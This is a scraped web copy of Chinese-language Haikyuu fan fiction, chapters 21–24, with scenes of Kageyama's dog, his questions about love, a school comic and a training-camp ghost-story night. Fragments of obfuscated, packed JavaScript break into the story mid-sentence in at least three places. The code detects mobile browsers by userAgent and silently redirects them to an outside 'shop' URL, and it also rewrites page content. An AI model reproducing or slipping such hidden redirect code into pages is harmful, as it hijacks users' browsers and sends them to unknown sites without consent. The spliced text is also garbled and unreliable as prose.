0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107893|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信任地看向影山，示意他展示的时间到了。 ...... 影山飞雄僵在了原地，本来打算今天就和栗原解释清楚这是他不知道为什么说出的谎言，光是道歉的稿子自己已经翻来覆去写了好几个版本了。 虽然自己曾经寄希望于小迪自己学会后空翻，但是这几天的训练成果就是让他明白了——比起寄希望于让小狗自己学会，还不如早点说清楚。 会后空翻的小狗是不存在的。 但是现在变成了大家都在场的最糟糕的状态。 他深吸一口气，准备坦白。 然而小迪汪汪地叫了两声，拽了拽绳子。 他松开牵着小迪的手。 小迪晃了晃脑袋，然后蹦了起来。 一个完美的后空翻。 做完这一切，小迪扬起脑袋，接受着人类们吃惊和赞叹的目光。 “好厉害的小迪！再来一次！”日向跃跃欲试地想要和小狗学后空翻，最后□□心的菅原学长制止了。 栗原和影山果然还是小孩子啊，菅原和大地对视一眼。 影山是真的想要给栗原看小迪的绝技，栗原也只是单纯地想要一起看落日，她甚至拉住了打算下山的他们一起看。 菅原彻底抛弃了过去自己脑子里的那些猜测。 小小的亭子里装满了乌野众人讲话的声音。 日向兴奋地蹦了起来，指着远方的太阳：“是落日！” 他们吹着山风，小迪趴在影山的肩膀上，小狗黑乎乎的眼睛也被太阳染得金黄。 影山侧目看向试图把太阳全部装进自己眼里的心音。 “为什么？” “嗯？”心音疑惑地转过头。 “为什么前几天躲着我。” 趴在他头上的比熊挥挥手表示自己这次站在影山这边，它也汪汪了两声。 ...其实，就算自己随便说一个什么原因，影山大概也会相信的吧。 毕竟他的心里没有那么多弯弯绕绕。 不过，就是因为这样，所以根本没办法做到对影山撒谎。 心音看着沉浸在黄昏景象中的日向，以及在讨论着今晚去哪里聚餐的大家，暂时没有人注意这边。 她鼓起勇气对影山说到：“前几天，误会你喜欢我...” 她的声音越来越小，但是还是一字不落地落到了影山的耳边。 “但是！我知道这是我的胡思乱想，所以才不好意思见影山的，我刚刚还想跟你说谎...” “其实我才说谎了。”影山把趴在他脑袋上的小迪抱了下来，“小迪之前都不会后空翻，我也不知道它什么时候突然学会的。” “原来是这样吗。”影山飞雄紧张地看着有些面无表情的心音，“既然如此......” “那就罚影山以后都不许跟我说谎，说谎的话就抱着小迪绕操场跑二十圈，怎么样？” 心音伸出手，勾起小拇指：“拉钩？” 他也伸出自己的手，不过有些不自然。栗原心音没有在意这些，她牵着影山的小拇指。 真的比自己的手指大一截。 “OK！”她的大拇指和影山碰了碰，“签字画押，反悔的是小狗。” 心音接过在他怀里伸出手，想要和她抱抱的小迪。 “落日，好看吗小迪。” 小迪大声地“汪汪”着，在心音的怀里蹭了蹭。 ...... 好像什么都说明白了，又好像有些话没有说清楚。 “误会”、“喜欢” 为什么会误会，什么是喜欢。 和喜欢排球的那种喜欢，有什么不一样吗。 和喜欢爷爷、爸爸妈妈、美羽的那种喜欢，又有什么不同的呢。 他一言不发地盯着自己的手，小拇指上还残存着温热的触觉，连短暂地“盖章”的大拇指，温度都和别的手指不一样。 身为二传，影山飞雄能够在一些很专注的时候发现自己手感的变化。 温度、汗液的分泌、弯曲的灵活性，这些都会影响打排球的感觉。 指尖确确实实地在升温， 但是升温的动因似乎并不是来自手掌本身。 山风呼呼作响，乌野的大家似乎已经讨论好了去哪里吃饭，他们大声地叫着愣在原地的影山飞雄。 他收回注视着手的目光。 在刚刚，他似乎弄清了升温的原因。 是源于跳动着的心脏。 22.chapter 22 在影山飞雄解决问题的路径里，不存在“逃避”这个选项。 事实上，从出生以来，他遇到的所有问题都是围绕着“排球”这一主题。而想要在排球的道路上精进，影山飞雄认为的唯一的道路就是不断磨练自己的能力，一往无前地朝着那条既定的方向前进。 因此，在意识到自己十分在意心音所说的“误会自己喜欢她”这个说法后，他并没有将探索这个问题的答案放在一旁的想法。 不过在这个领域自己可以说是一窍不通，所以必须向别人求助。 而第一个求助对象就是目前在外地工作的美羽。 影山飞雄回想美羽高中时丰富的早恋经验，虽然她目前一直在被母亲抱怨“一直在和各种人谈恋爱，但是完全没有稳定下来的意思”，但依旧是一个可靠的军师。 远在大阪的美羽刚结束和比自己小三岁的后辈的恋爱，她一回到家就卸好妆，换成全套的居家服，惬意地敷起了面膜。 她打开投影仪，挑选着今晚想看的电影。 少有的，在工作时间后，还有来电提醒的铃声响起。 “到底是哪个小鬼打扰我的休息时间。”美羽从沙发的一侧拿起手机，【臭弟弟】三个字跃入眼帘。超稀有的事件出现了，臭弟弟居然会主动给她打电话，不过她并不觉得影山的目的是来慰问她。 “喂——”她拖着长音，“我可是很忙的，有话直说。” 在接到这个信号后，影山飞雄单刀直入地问道：“什么时候会觉得对方喜欢你。” 美羽另一只握着遥控器的手微微一顿，她再三确认了屏幕上所写来电对象确实是自己的弟弟，而自己也没有给别人备注【臭弟弟】这样的称呼。 仔细想想影山现在也上高一了，这个岁数有感情问题也不算什么稀奇的事情。 影山飞雄听见电话另一头的美羽声音从恹恹的迅速转化为兴致极高的状态。 “嗯？如果是我的话，比如对方不同寻常地很照顾我，或者用很多莫名的理由来约我出去，那我可能会怀疑他是不是喜欢我。” 影山飞雄对照了一下自己，第一条倒是不存在，在社团活动的时候，自己才算更受心音照顾的那一方。 而第二条自己倒是正中靶心，但是单独一起出去这种事早已发生过无数次，为什么在这一次会被误解成喜欢的行为。 像是听到了他心里的困惑，美羽补充着：“不过更多时候做出这种判断依靠的是一种感觉吧。” “对方喜欢自己的时候，眼神里自然就会流露出来那种感情。” 眼神？ 影山飞雄产生了一种想要买一把镜子，在对视后探究自己到底是什么眼神的冲动。 “哈，不过对小飞雄来说，想这些东西还是操之过急了吧。倒不如把什么是喜欢搞清楚才更符合实际一点。” “和朋友家人排球的那种喜欢都不同哦。”美羽伸了个懒腰，算算时间也到了摘面膜的时候了。 她语调上扬：“那么自己去想吧飞雄。” 说完这句话，她干脆利落地挂了电话，哼着歌走向洗漱间，投屏上的画面停滞在《怦然心动》的电影介绍页。 学生时代的感情确实很纯粹可爱呢，美羽心情愉悦地想着。 电话另一头的影山面无表情地盯着已挂断的界面，自己明明就是为了得到这个问题的答案，才给美羽打电话。 结果收获的就是更加云里雾里的解答，以及告知他还是自己去追寻答案吧。 他放下手机，和往常一样在睡前旋转着手中的排球。 他的视线停滞在自己的指尖，莫名地闪过和栗原约定时的画面，指尖的灼烧感又一次袭来。 “嘭”的一声，排球从他的脸上落到了旁边的地板上。 楼下的妈妈听到了动静，她担忧的声音传了上来：“发生什么事了飞雄。” 影山揉了揉自己被砸的有点痛的鼻尖，下床抱起了不听话的排球：“没事，排球掉地上了。” 影山妈妈与看着报纸的影山爸爸对视了一眼，她支起下巴：“飞雄就算长大了也喜欢牢牢抱着排球睡觉呢，不过这次居然会让排球掉到地板上。” “不过妈妈我还是觉得超可爱的，你说对吧爸爸。” 两人一拍而合，他们偷偷潜入书房，在书房的深处翻出记录影山成长的相册。 很遗憾的是这些照片都是从各种奇怪视角偷拍的，毕竟影山从小就不喜欢拍照，他也不知道这些珍贵影像的存在。 虽然遭到了美羽的糊弄和排球的暴击，影山依然没有熄灭自己探究答案的打算。 这次他的询问对象是排球部的诸位队友们。 他的第一人选是刚回到排球部的西谷前辈。西谷前辈被乌野的众人视作排球部最帅气的男人，对于这一类话题应该也有着自己独特的见解。 当影山告知自己的疑惑后，帅气的西谷前辈拍了拍自己的胸膛，义正言辞地告诉他算是找对人了。 他把影山拖到角落，从自己的包里潇洒地掏出几本杂志。 ...影山飞雄不明白西谷前辈为什么会随身携带这种东西。 随后他收获了一系列奇怪知识的熏陶，例如全宫野所有学校的制服款式的科普。他深刻认识到西谷前辈之前说过的自己是因为很帅的制服来乌野这句话绝对不是作假。 “但是...”影山提出了质疑，“这些只是西谷前辈喜欢的制服和喜欢女生长相的类型吧，并不是具体的对某个人的喜欢。” 具体的，对某个人的喜欢应该是什么样的。 西谷前辈有些被问倒了，不过他还是冷静地清了清嗓：“关于这个问题，我想菅原学长他应该能给你答案。” 于是，影山飞雄被西谷前辈当做皮球踢到了菅原的面前。 菅原孝支确实是整个排球部拥有女性朋友算多的，然而说实话，假如要他给喜欢这个词下一个确切的定义，他也很难给出答案。 何况自己完全没有什么具体的喜欢的对象，自己一天到晚除了和排球部的各位待在一起，也没有发展其他关系的机会了，想到这里他的头上笼罩着一层阴云。 而且，更令他在意的是木头影山为什么会突然想要知道这个问题的答案。 不过身为可靠的学长，他还是仔细地思考了一番：“喜欢大概就是很珍视对方，一见到她就开心，这种情感吧。” 排球脑袋影山对比着这个标准，实际上，他很珍视自己和心音的关系。 心音也很会与人相处，和她在一起大概不会有人感到不开心。 但是自己看到排球也会开心，他同样珍视着每一个队友以及比赛的机会，光是这样的标准似乎不能定义喜欢。 即使脑袋里是这样思考着的，他还是向认真给自己解答的菅原学长表示着谢意。 菅原看着明晃晃地写着“实际上我完全没有听懂学长的话，并且不觉得可靠”的影山飞雄，收回了自己原本打算问影山的话。 影山最后的询问对象是排球部唯一有确切喜欢对象的田中前辈——目前正在火热追求清水学姐中。 “喜欢这种事，当然是一见到她心就扑通扑通跳，整个人都像在冒泡，恨不得跳进游泳池里咕噜咕噜地冷静一下，但是在一见到她之后所有的冷静通通都消失了——” 没有扑通扑通、轰隆轰隆和咕噜咕噜就不是喜欢了吗。 田中前辈和西谷前辈早已围绕着“最好的清水学姐”展开了激烈的讨论，目前已经没有人能够插入他们火热的话题。 站在一旁无奈扶额的菅原学长善意地提醒着影山：“说到底，喜欢这种事情每个人的标准都是不一样的。” 他艰难地回想着田中那一连串的拟声词：“所以不是所有人都是扑通扑通、哗啦哗啦这样的喜欢。” 影山回想了一下，认真地纠正着：“学长，是扑通扑通、轰隆轰隆和咕噜咕噜。” 菅原的额头上出现了三道黑线，和擅长拟声词的直觉派不同，他完全读不懂这三个拟声词的含义以及他们的区别。 他勾起嘴角：“我想问一下，影山刚刚是拿谁对照这几个拟声词的呢。” 影山一边环视着四周，一边小声地说着：“是栗原同学。” 收到这个不出所料的答案后，笑得有些不怀好意的菅原学长拍了拍影山的肩膀：“我觉得现在倒不用纠结这些，船到桥头自然直啊影山。” 他一手揽过田中，另一只手罩着西谷，心情颇好地带着他们走了。 留下一脸纠结的影山一个人待在原地。 / 目前的心音完全变成了陀螺的形状，就算是一向淡定的清水学姐，看到她的状态也被吓了一跳。 比起一直在工作，更可怕的事情是乐在其中疯狂地工作。 自从和小武老师谈过话后，心音就像放下了什么心结，开始毫不掩饰地展露自己的能力。 她产出日常连环画脚本的速度已经全然超过了仁花能够赶上更新的速度。 不仅如此，小武老师也完全没有察觉她有什么不对劲，而是把她当成冉冉升起的未来文学工作者来看待了，他会鼓励心音参加各种写作比赛，并给她推荐投稿渠道。 而对于这些小武老师善意的帮助，心音自然一并照收。 仁花连环画第一章节的终稿最后完成了，她们抱着最终的成品来到了排球馆。 由于仁花这几天都在赶稿，于是尚未来得及和新来的乌养教练打招呼。 在看到她直愣愣盯着高大的乌养教练以及一直在颤动着的双腿后，心音一下明白是她高超的想象力在这时启动了。 她拉住仁花的手，打消她脑海里天马行空的构想：“这是乌养教练。” “第三章节的脚本里有他的出场哦。” 听到这话，仁花心中的疑虑又缓缓升起，心音到底是在什么时候又写到第三章节的。 心音把手上的成品先递给了乌养教练一份。 排球馆中的众人早已被小武老师召集起来，他们团团围坐在一起，心音和仁花把手中的连环画分发给大家。 接过画册的大家怀着困惑的心情仔细地看了起来。率先做出反应的是日向，他兴奋地指着橘色头发的Q版小人：“这个跳起来超帅气的小人是我对吧。” “哈哈——这个超帅可靠的自由人一看就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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由于自己一个人独居，没有父母监督入睡的心音有数不胜数的开夜车的机会。不过她日常的作息规律还是相当自律的，她明白没有充足的休息效率也会降低的道理。 但这几天的情况有些特殊，可能是随着记录的东西变多，以及被小武老师带着投稿和修稿的频率提升，她觉得自己的灵感变多了。 ——写完这一部分就睡觉。 心音这样宣布着。 然而就在她埋头创作的时候，门铃被人按响。 已经到了十二点了，怎么会有人来她家里拜访。 独居的心音紧张了起来，她预先按到紧急报警的界面，并从妈妈购置的防身器具里拿出最好用的喷雾，打开电子锁的监控界面，熟悉的面孔映入眼帘。 是仁花。 但是仁花为什么会在这个时候来她家，心音迷茫地打开门。 仁花扫了眼还穿着校服的心音，冷冷地哼了一声。 她轻车熟路地走到心音的房间，电脑依然□□地工作着，上面还展示着心音的脚本。 顺着她的视线，心音一下明白了她的来意，她的眼睛飘忽着，手指悄悄挪动到关机键。 然而还是被仁花抓住了。 计划不成功的心音打算用浑水摸鱼的方法蒙混过关：“仁花——” 仁花捏了捏她的脸，拿起她桌上的镜子：“你看看你的黑眼圈——简直堪比大熊猫了。” “坦白从宽吧。”仁花丝毫没有放过她的意思，“熬了几个晚上了。” 心音比了个三的手势：“真的只有三天。” 明白心音不会在这时候骗她，仁花稍微消了消气：“学校的作业不算少，社团也很忙，小武老师还推荐你去投稿。你一边做这么多事，一边写脚本还那么快。” “一看就是熬夜了。” “仁花英明！” 轻易被心音安抚地熄灭自己怒火的仁花不忘自己的来意：“你现在已经写的够多了，要注意休息。” 心音认真地点点头。 “我要说的就这些了。”仁花从包里拿出自己的睡衣，“今天我妈妈去加班了，所以晚上来找心音一起睡觉。” 心音关上运转着的电脑：“那我赶紧洗漱一下！仁花等我！” 冲进洗漱间的心音又探出了脑袋：“下次仁花不要这么晚一个人出门哦，注意安全。” 完成洗漱的心音抱着一本绘本钻进了被窝：“我猜仁花想问我为什么最近这么沉迷。” 她翻开绘本，是给幼稚园的小孩看的那种启蒙绘本。 “这是我之前跟你说过的，我小时候很喜欢看的那本。” “我这几天一直在想，如果我以后也能写这样的故事，很多小孩喜欢我写的故事，那样好像也很幸福。” 她在被子里卷成一团，小声地和仁花说：“你觉得我的想法怎么样。” 仁花也在被子里蜷成一团：“我觉得超棒的。” 她模仿着心音的语调小声地说着。 心音团子挪动到仁花团子身边，偷偷侵占着仁花的领地，随后突然一把抱住了她：“我就知道仁花会这么说。” “......” “心音！不许偷偷挠我！” 23.chapter 23 心音和仁花的连环画出乎意料地在学校相当火爆，而身为主角的排球部的诸位也成为了学校的风云人物。 不过【在学校发行连环画】这种事情，比心音她们原本想的要轻松许多。 据心音所知，那位看起来严厉的教导主任与影山和日向有一段过节——他们在排球馆狠狠打飞了他的假发。 “教导主任的头，比灯泡还会发光哦。”日向是这样描述的。 于是，为了过教导主任这一关，心音甚至准备了厚厚一沓的申请书以及其他排球名校宣传的案例。 小武老师露出半月眼，叫停了即将和教导主任交涉的心音。 ——“这种事情还是由老师来吧。” 跟随着小武老师的心音仅仅在教导主任的办公室门口等待了十分钟，小武老师就推开了门。 他得意地晃着手中的许可书。 “教导主任同意了，不过他还附加了一个条件。” “我们的连环画出续集了首先要给他看。” 心音目瞪口呆地意识到事情就这样轻易解决了，她悄悄探出脑袋扫视着教导主任办公室的内部。 教导主任顶着他茂密的假发，手不释卷地翻阅着他们的连环画，不时地发出“赫赫赫”的笑声。 看来看似严厉的教导主任实则有着一颗与时俱进的心，说不准他会成为乌野排球部的忠实粉丝。 连环画的推行就这样顺风顺水地开展了。 最先意识到自己好像成为校园风云人物的是橘子脑袋的日向。 这一次，不用他拼命解释自己确实是排球部的首发，他就被班上的人团团围住了。 “日向同学，你真的能跳那么高吗。” 日向骄傲地扬起头，他表示层高三米的教室完全不能让他发挥自己的实力。 于是一行人跟着他浩浩荡荡地来到了操场，日向助跑了一段距离，然后腾空跃起。 “哈哈！影山，你没有看到哦，他们一个个都长大了嘴巴，肯定想着我居然可以跳——这么高。” 沉浸在喜悦中的日向自然没有察觉影山表情的变化。 在一个早上听日向重复二十三遍自己的事迹后，影山忍耐的阈值达到了极限：“boke日向！难道你就满足于被班上的人夸赞吗。” “打进全国大赛，更多的人都能看见你。” ...居然没有给日向一个爆栗，菅原暗中观察的瞳孔放大了，而且除了boke日向以外，每一句话都是专门针对日向的激励的话语。 操心的菅原几乎感动得要落泪。 日向愣愣地看着影山，他战栗了一下，凑到影山身边，试探地挥挥手：“你怎么这么温顺，真的是影山吗。” “哈！boke日向。”日向摸着自己头上肿起的包，舒心地呼了一口气。 这才是我认识的影山嘛。 他自在地练起了球。 ...... 善良、温柔、和蔼的菅原学长有些控制不住自己崩坏的表情，即使是大地学长宽厚的手心落在他的肩膀上，也无法拉回他沸腾的内心。 ——他决定从今往后，不会在日向被影山即将暴揍的时候出手阻止。 因为那只日向分明乐在其中。 / 猫派or狗派 这是连环画的读者专区中投票量最多的一个问题。 “为什么大家好奇的不是跟排球有关的，而是这种奇奇怪怪的问题。”日向率先抛出疑问。 仁花完全被这个问题击败，因为她也没有意料到大家最好奇的事情是这个。 “总之，大家喜欢的是猫还是狗呢。” “啊啊啊根本无法选择。”田中前辈纠结地抱住了自己的脑袋。 第一个给出答案的是清水学姐：“我是坚定的狗派。” “因为狗狗是很忠诚的动物。” ...... 西谷前辈和田中前辈你们为什么突然开始摇尾巴了！仁花在心里默默地吐槽着。 第二个给出回答的是月岛。 “哈？真是个无聊的问题，我选猫。” “毕竟阿月很像猫啊。”山口笑眯眯地补充着。 “哈？！”月岛眯起眼睛盯着山口。 ——更像了。 乌野众人的脑电波在此刻达成了共识。 乌野的狗派以大比分取胜，毕竟乌野还拥有着一只会翻跟斗的小狗。 没人能够逃过小迪的魅力攻击。 最后还未给出回答的是沉思的心音。 “心音、居然不是、坚定的狗派吗！”日向橘色的头发都竖了起来。 影山飞雄没有说话，他只是沉默地对心音使用了凝视的攻击。心音莫名幻视小迪就坐在排球馆控诉着她的行为，她偏过脑袋逃避影山的凝视。 “我肯定最喜欢小迪了，但是真的很难说是狗派还是猫派。” “毕竟猫猫也超好啊，虽然有点傲娇，不过在你回家的时候会跳到你的跟前，轻轻地挠你一爪——” 更深层的原因是，在玩攻略游戏时，心音更偏向于花大量的时间攻略那些猫系角色。 她捂住自己的嘴巴，因为她发现自己不小心说出了自己心中的暴论。 ——“喜欢被勾着。” 她试图挽回自己的形象，解释自己说的只是在游戏中的喜好，跟现实毫无关系。 不过似乎已经来不及了，排球部的大家瞳孔地震，褪去了色彩。 日向捂住了自己的双耳，重复着“我什么都没有听见”这种话。 影山的视线疯狂地游移，他猛地低下头，看着自己的足尖，俨然是一幅装作什么都没有听见的样子。 连平时充当调和剂的菅原同学都忘却了自己的职责，他站起身：“哈哈！我去练排球了。” 最后还是仁花最先恢复了镇静，她合上自己的记录表：“OK，这样大家是狗派和猫派就完全清楚了。” 她拎起掩面试图把自己埋进排球馆木质地板中的心音。 ——得救了。 心音第一次觉得排球馆之外的空气充满了轻松的气息。 只要混过这一天，第二天粗神经的大家一定会遗忘今天的一切。事到如今，心音只能在心里宽慰自己。 耳畔传来仁花幽幽的声音：“没想到心音居然有这样的喜好。” “呜”心音彻底焉了，“真的仅限于游戏内，在现实中我当然喜欢直白地喜欢我的人。” 仁花的脸上挂着包容和理解的表情，但是在此刻，心音丝毫不想要被仁花用这样的表情盯着。 “真的不是那样的！！！” 总之，心音的资料表最后被填上【猫派（？）】的标签。 / 即使是排球初学者的心音也看的出来，目前的乌野仍然缺乏磨合，基本功以及配合都不算到位。 小武老师与教练宣布要进行为期五天的合宿集训，用斯巴达式的训练极限地提高大家的水平与默契。 而在最后一天，将和来自东京的音驹打一场训练赛。 老乌养教练与音驹的猫又教练曾是宿敌，他们曾经相约一起在全国大赛上打一次酣畅淋漓的比赛。 不过二者却从未完成过这一约定。 “会是这一次的。” 即使乌野被誉为折翼的乌鸦，心音依然这样坚信着。 现在的乌野，是焕然一新的，酝酿着下一次腾飞的乌鸦。 学校分配的合宿地点并不在学校附近，仁花和心音婉拒了学姐让她们到她的家中居住的邀请。 原因是心音和仁花都特别想要体验一次合宿的氛围。 和超多朋友一起渡过五天的时光，光是这样畅想，心音就翻来覆去地睡不着觉。 她只好起身检查着自己的生活用品有没有带齐。 如果有人问心音，现在的乌野最缺乏的是什么，她一定会毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126946|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不犹豫地答到 ——经验和经费。 负责后勤的经理们，继填写报表和联络沟通外，又增添了一项任务。 那就是为训练完的大家准备补充能量的食物。 虽然一个人居住，但是对厨艺什么的一窍不通，最高的水平就是煮一顿生命体征维持餐的心音呆呆地举起双手。 清水学姐帮她穿上围裙，站在她的身后打了一个漂亮的蝴蝶结。 像是看破她的下厨水平，心音被分配到了最轻松的切菜与捏饭团的任务。 切菜——讲究的是合适的角度。 她举起菜刀，瞄准砧板上平铺着的几片菜叶子，雷厉风行地下刀。 砧板上菜叶子的躯体有大有小，呈现五花八门的形态。 好在仁花和清水学姐都没有强迫症，不然注视着这样的菜可能都会昏迷。 接下来是捏饭团。 心音在看了清水学姐捏饭团的流程后，拍拍自己的胸脯，表示自己已经记住怎么做了。 不过是将分散的饭团捏成三角形的形状。 她套上塑料手套，开始大显身手。 饭团在她手下仿佛有了不屈的灵魂，这种不屈体现在完全不按她的想法成型。 四边形、五边形、圆形还有不规则图形。 除了不是三角形，勉强集齐了所有的形状。 仁花安抚地拍了拍她的肩膀：“从某种角度来说，这也是心音超乎常人水平的一种体现啊。” 第一组抵达餐厅的是日向和影山，凭借他们被风吹得潦草的发型，就可以看出他们又开展了一次莫名的跑步比赛。 “仁花、心音还有学姐都辛苦了！” ～(￣▽￣～)~ 日向被美食的味道勾到餐桌前。 一旁的影山虽然看起来比他更沉稳些，不过眼睛里冒着金光，俨然已经蓄势待发，准备开始大快朵颐。 乌野的大家陆陆续续地到齐了，他们双手合掌：“我要开动了！” 餐盘上的菜肴肉眼可见地被一扫而空，那句“我要开动了”是大家残存的礼仪。 “还好清水学姐有先见之明，让我们这些厨子先吃。” 仁花目瞪口呆地看着他们风卷残云的进食速度，是参加大胃王比赛也能拔得头筹的水平。 心音的心中暗喜，在这样的速度下，没有人会在意千奇百怪的饭团的形状。 完成进食的日向揉了揉自己的肚子，他偏了偏脑袋：“从刚刚开始，我就有一个问题。” “这些饭团是谁准备的呀。” 心音才放下的心又被提了起来。 “我第一次见到这些形状的饭团！真的超有意思！” 日向露出一幅求教的表情。 优雅进餐中的月岛端详着自己手中不规则的饭团，显然这是新手瞎捏一通的成就，和技巧什么的完全没有关系。 被突如其来的夸夸袭击的心音捏了捏自己的衣角。 “也没有那么厉害……” 她拿来剩余的包饭团的材料。 “只要这样，再这样……就完成了。” “五角星饭团！” 日向瞪大了眼睛。 月岛分辨了一分钟也看不出这个饭团有什么状若五角星的地方。 “心音！再演示一遍吧。”日向跃跃欲试地说到。 “好哦！” 被夸的飘飘然的心音宛若饭团大师附体，三两下捏出了一个新型饭团。 “六芒星！心音的饭团一直不重样呢！” 这压根是随手乱捏的，所以完全没办法捏出一样的形状吧。 月岛默默在心中吐槽着。 他余光扫过餐桌的另一头。 影山若有所思地看着自己的手指，随后变换他的手势，与前面心音向日向演示的动作丝毫没差。 …… 原来这里还有一个比日向还要认真观察的学生。 24.chapter 24 吃饱喝足后，影山和日向又重回了活力满满的状态。 “练习、练习、练习……” 橘色排球脑袋振振有词地碎碎念着。 “阿月，你也要去练习吗” 山口看向突然起身的月岛。 “哈？我才不是那些精力充沛又热血上头的排球笨蛋。” “今天的运动量已经达标了吧，我要去休息了。” 影山后知后觉地撇了撇嘴：“他说的排球笨蛋不会是我和日向吧。” “怎么能把我和影山/日向说在一块！” 两小只异口同声不满地说着。 话音刚落，两人嫌弃地对视一眼。 “影山/日向，不要学我说话！” 担心他们扭打起来的仁花看向四周，和善的菅原学长虽然一直注视着他们，但是完全没有要出手阻止的意思。 田中前辈和西谷前辈的脑袋凑在一块，翻看着不知名的杂志。 外表凶狠然而内心温顺的旭前辈早就被他们凶恶的气场吓得缩在了角落，嘴里还塞着未吃完的饭团。 心音笑眯眯地望着斗嘴的两人，在注意到仁花的视线后，她还指了指将要扭打起来的两小只。 “他们的关系果然很好，对吧仁花。” 这难道就是传说中男dk特有的，越打关系越好的交友方式吗。 还有一脸微笑发出感叹的心音莫名地让仁花有些打颤。 不过最后，仁花担心的打斗场面并没有成真。 排球部最稳重的男人——大地学长，在大家都没有注意到的时候绕到了两人的身后。 他一手一个地将两人分开，并翻了个面。 影山和日向的气焰一下子被大地学长的威压浇灭了，他们站在原地，收起张扬的手脚，乖乖地听着大地学长的教导。 “要好好相处，不要打架，知道吗。” 虽然大地学长的声音相当温和，二人还是乖顺地点点头，毕竟大地学长发怒时的样子实在是太恐怖了。 “还有——今晚不许偷偷训练。” “啊？！”两人同时发出哀嚎。 大地学长依然用不容置疑的语气说着 “今天的训练量已经够了，并不是越多的训练就越好，高效的训练才是正确的提升路径。” 他笑着拍了拍精力充沛二人组的脑袋，言辞平和：“别让我发现你们偷偷练习哦。” 日向和影山肉眼可见地焉了下来，耷拉着头有气无力地回复：“是，大地学长。” 沉稳的大地学长在完成对日向和影山的教导后，将一张纸条放在了心音的桌上，还做出噤声的动作。 心音打开这张神秘的纸条，平静的表情变得有些波澜。 / “嗷嗷嗷嗷嗷嗷！真的好无聊。” 日向在大通铺上来回打转，十秒的时间在房间里滚了三圈。 和日向一样，影山也没有消耗完自己今天全部的精力。 学长们先去洗澡了，趁这个机会去偷偷打一下排球也不会被发现吧。 影山想到这里一下坐了起来。 和焦躁的二人组不同，山口与月岛的氛围相当地宁静。 月岛萤靠在墙边，戴着耳机，静悄悄地翻动着手机。 山口闲适地拿出一本书翻阅了起来。 就在影山决定冒着被抓包的风险偷偷去打排球时，他们的门被敲响。 “打扰了，可以进来吗。” 是仁花的声音。 “当然！”日向热情地回应到。 房门被拉开，前来拜访的人除了仁花，还有手里提着一个袋子的心音。 她摇了摇手中的袋子：“好不容易一起出来合宿，大家一起玩游戏怎么样。” 被游戏二字触发关键词的日向一下窜起，随后吃痛地捂住自己的脑袋瓜。 他忘记自己不是在排球馆，而是在层高只有三米的宿舍内。 尽管一只手捂着头，日向不忘用另一只手振臂高呼：“当然要玩！” / 夜晚的微风吹拂着，他们团团围坐在寂静的后院中。 日向颤颤巍巍地举着自己手中的蜡烛，白色的蜡烛闪烁着忽明忽暗的烛光。 他咽了下口水，被对面坐着的月岛吓了一跳，手中的蜡烛也险些滑落。 月岛在闪烁的烛光中勾起了嘴角，烛火为他的脸上笼上一层诡异的光。 “真的要在这里玩这个游戏吗。” 由于学校的资金不足，选中的住宿场地也有些破败。 大通铺的房间因为经常有人居住，反而颇有人烟，厨房也有被频繁使用的痕迹。 唯有此处的小院，十分荒芜破败。 池塘长期没有活水的注入，早已干涸。他们现在围坐着的小亭子的凳子上也爬着杂草。 仁花的声音同样颤抖，但是夹杂着诡异的兴奋。 “果然……”她吸了一口气，“果然这种地方最有玩怪谈游戏的氛围。” 怪谈游戏的规则很简单，他们需要提前准备好纸条，每个人在纸条上写上关键词。 接着大家把纸条打乱，随机抽选关键词，以这一关键词为主题讲鬼故事。 假如什么故事都讲不出，惩罚就是吹灭蜡烛自己绕院子走一圈。 最后大家投票投出今天最恐怖的故事，获得第一名的人将得到心音和仁花准备的礼物。 “桀桀桀……” 为了营造恐怖的游戏氛围，心音举着蜡烛发出恐怖的笑声。 “那么游戏现在就开始吧。” 六人落笔写下自己的关键词，放在小桌子上。 由心音负责打乱。 第一个抽取关键词的是影山飞雄。 他抽到的关键词是“厕所”。 日向有些胃疼地蜷缩成一团，听了关于厕所的鬼故事之后，自己怎么敢一个人去上厕所啊！！ 何况他还是一个厕所常客。 ……如果拖着影山去上厕所应该会被骂boke日向吧。 ……如果拽着月岛上厕所一定会被他捂着嘴笑着说“日向你是什么女高中生吗”。 他的心里竖着天平，衡量着一个人上厕所可怕，还是被影山和月岛嘲笑可怕。 对了——还有山口。 日向用蛋花眼注视着坐在侧前方的山口。 然而他发现山口也目光飘忽，山口好像跟自己一样胆小。 在日向头脑风暴的间隙，影山也在搜刮自己大脑里的鬼故事。 “影山，想的怎么样了。” 影山飞雄点点头，表示自己已经想好了鬼故事。 “某天，一个橘黄色头发一米六打排球的男高中生，在合宿的时候独自一人来到厕所。” 日向举手反对：“影山的故事明显是他自己编的，而且很有针对性！” 裁判组的二人驳回了日向的反对意见，毕竟规则没有说不能自己编故事。 “……然后，当他脱下裤子的时候，厕所的灯突然开始闪烁。” “啪一下，灯灭了。” 该怎么说呢，影山的拟声词用的还蛮好的。 “从马桶里爬出来一个女鬼，把上厕所的橘黄色头发一米六打排球的男高中生拖进了马桶里。” …… 影山看着众人，他的“鬼故事”已经讲好了。 不过效果似乎并不符合他的预期，连故事的主人公都捂着肚子哈哈大笑。 “现在我一点都不害怕自己上厕所了！” 影山飞雄的鬼故事起到了反作用，心音甚至觉得起码鬼故事排名已经有人垫底了。 影山撇了撇嘴，一言不发地晃悠着自己的蜡烛。 